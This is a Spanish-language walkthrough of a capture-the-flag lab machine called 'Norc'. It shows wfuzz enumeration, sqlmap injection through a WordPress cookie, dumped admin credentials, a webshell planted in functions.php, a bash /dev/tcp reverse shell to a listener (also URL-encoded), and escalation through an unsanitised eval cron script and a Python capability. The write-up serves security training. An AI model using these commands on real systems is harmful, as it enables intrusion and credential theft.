Norc (like)

Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos.

Entramos a ver la página:

Al usar BurpSuit se pudo observar:

  • Revisando el código observamos que tiene elementos de WordPress, así que de manera manual ingresamos wp-admin y podemos observar el siguiente URL

Ingresamos una credencial por defecto y podemos ver que no dice que nos faltan 2 intentos, así que dejamos de probar credenciales.

Realizamos un fuzzing con el diccionario de WordPress podemos observar más resultados.

wfuzz -c --hc=404 -t 200 --hw=0 -w /home/las/Descargas/Wordpress-BruteForce-List/WPfuzz.txt  http://norc.labs/FUZZ

Al dirigirnos a la dirección web:

http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt

Buscando un exploit para esta versión podemos observar que hay una POC la cual solo debemos copiar el ejemplo y de esta manera obtenemos unas credenciales.

Ejecutamos de esta manera y agregamos el parámetro --dump

sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema --dump

Luego de unos minutos podemos observar lo siguiente.

El mensaje que has compartido indica que sqlmap ha detectado con éxito una vulnerabilidad de inyección SQL de tipo time-based blind en el parámetro de cookie wordpress_logged_in.

Nos interesa la DB de wordpress y para evitar que demore cancelamos la consulta y volvemos a ejecutar la consulta, pero agregamos el nombre de la base de datos.

Si no conociéramos cuáles son las tablas que conforman una base de datos de WordPress sería agregar el comando -D wordpress y esperar a que liste las tablas. Pero podemos insertar la tabla wp_users que forma parte de esta.

Para más información sobre ello visitar tablas WordPress.

Agregamos el nombre de la tabla que nos interesa wp-users, también ingresamos --batch para que sqlmap asuma la respuesta por defecto.

Le agregamos la tabla wp_users a la inyección SQL

sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch

Esperamos unos minutos y podemos observar que obtuvimos unas credenciales.

pass:$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
email:admin@oledockers.norc.labs
userlogin:admin

Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.

  • Dejamos que cargue el john:

Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.
  • Revisando la información que obtuvimos debemos notar que el email contiene un subdominio el cual agregamos a nuestro host.

 172.17.0.2 oledockers.norc.labs

Luego de agregarlo nos dirigimos a la dirección desde el navegador y podemos observar un usuario y un password.

admin:wWZvgxRz3jMBQ ZN

Iniciamos sesión:

Ya estamos dentro.

Como siempre hacemos cuando ingresamos WordPress probaremos agregando una webshell en el archivo functions.php del tema twenty twenty-two y guardamos los cambios.

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id.

http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc.

Deberemos establecer nuestra consulta.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

Para evitar problemas con los símbolos lo URL-encodeamos.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Y enviamos, el URL debería ser así.

http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.

Tratamiento de la TTY

Realizamos un sudo -l y podemos observar que no tenemos el comando sudo, realizamos un listado de permisos SUID y podemos observar el archivo exim4.

Pero revisando las versiones vulnerables que nos pueden servir son las menores a la versión 4.86.2 y nuestra versión es la 4.96.

Ya que no podemos explotar este permiso SUID, listaremos capabilities y podemos observar que tenemos la de Python3.

getcap -r / 2>/dev/null

Porque se trata de una capabilitie también podemos ir a la página GTFOBins y buscar la capabilitie para Python y podremos observar lo siguiente.

import os
# Cambiar el ID de usuario efectivo a 0 (root)
os.setuid(0)
# Iniciar una shell con privilegios elevados
os.system("/bin/bash")

Tratamos de ejecutar el comando, pero vemos que no podemos *Por que no somos un usuario en concreto aun somos www-data*.

Pivotear a un usuario kvzlx:

Revisando el script podemos observar que decodifica un password y lo guarda en una carpeta temporal y que eval no sanitiza el texto que lee.

Nos dirigimos a la carpeta /tmp para observar el archivo, pero este se encuentra vacío y si vamos a la carpeta www/html para observar el otro archivo oculto este no existe.

Empleamos ps aux para ver si se ejecuta el script, pero no podemos ver por nuestros permisos.

Ya que no podemos usaremos pspy64, para ello descargamos pspy64 e iniciamos un servidor con Python.


🔍 ¿Qué es pspy64?

Es una utilidad escrita en Go que permite monitorear procesos en ejecución en tiempo real, enfocándose en ejecutables iniciados por otros usuarios o por cron jobs, sin necesidad de privilegios root.

🧠 ¿Para qué sirve?

  • Ver cron jobs ejecutados por root u otros usuarios.

  • Detectar scripts o binarios ejecutados automáticamente (posible vector de escalada).

  • Observar cuándo se ejecutan comandos como cp, tar, python, etc., y qué usuario los ejecuta.

  • Ideal cuando no tienes acceso al crontab del root o a /etc/cron.*.


🖥️ ¿Qué significa pspy64?

  • pspy = Process Spy

  • 64 = Versión para arquitecturas x86_64 (64 bits)


⚙️ ¿Cómo usarlo?

  1. En tu máquina atacante:

    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
    chmod +x pspy64
    python3 -m http.server 8080
  2. En la máquina víctima (Kali o una máquina comprometida):

    wget http://<TU-IP>:8080/pspy64
    chmod +x pspy64
    ./pspy64

Luego de unos segundos podemos observar que el archivo .cron_script.sh se ejecuta frecuentemente.

Como el script no sanitiza cuando ejecuta el comando eval podemos abusar de este y obtener un Shell.

  • Como el usuario kvzlx pide un archivo .txt

Crearemos ese archivo y agregaremos nuestra RevShell ya que se ejecutara solito sin necesidad de ejecutar algo mas:

nano .wp-encrypted.txt
  • Nuestra Shell en base 64:

Estamos en la escucha:

Ya somo el usuario Kvzlx 😄

Nuevamente realizamos el tratamiento de la TTY.

Como ya creamos el archivo en tmp solo lo ejecutaremos.

Ejecutamos el archivo y podemos observar que ya somos root. De esta manera culminando esta máquina.


Last updated